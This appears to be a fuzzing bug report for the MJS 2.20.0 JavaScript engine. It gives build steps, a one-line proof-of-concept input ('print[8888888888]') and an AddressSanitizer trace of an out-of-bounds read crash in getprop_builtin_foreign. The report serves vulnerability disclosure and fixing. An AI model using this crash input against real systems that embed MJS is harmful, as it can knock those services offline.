SEGV /home/v/jse/mjs/mjs.c:8472:31 in getprop_builtin_foreign

[Vincebye]

print

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 

Contents of PoCfile

print[8888888888]

ASAN Report

v@DESKTOP-DPIU403:~/jse/mjs$ ./mjs-bin poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==7947==ERROR: AddressSanitizer: SEGV on unknown address 0x5590b15acfa8 (pc 0x55909f904570 bp 0x7fffa4d205b0 sp 0x7fffa4d204e0 T0)
==7947==The signal is caused by a READ memory access.
    #0 0x55909f904570 in getprop_builtin_foreign /home/v/jse/mjs/mjs.c:8472:31
    #1 0x55909f8ffb5f in getprop_builtin /home/v/jse/mjs/mjs.c:8509:17
    #2 0x55909f8a5b43 in mjs_execute /home/v/jse/mjs/mjs.c:8661:14
    #3 0x55909f89d4d4 in mjs_exec_internal /home/v/jse/mjs/mjs.c:9044:5
    #4 0x55909f89dcb3 in mjs_exec_file /home/v/jse/mjs/mjs.c:9067:11
    #5 0x55909f8af5e8 in main /home/v/jse/mjs/mjs.c:11423:11
    #6 0x7f1d25291d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #7 0x7f1d25291e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #8 0x55909f7813d4 in _start (/home/v/jse/mjs/mjs-bin+0x283d4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:8472:31 in getprop_builtin_foreign
==7947==ABORTING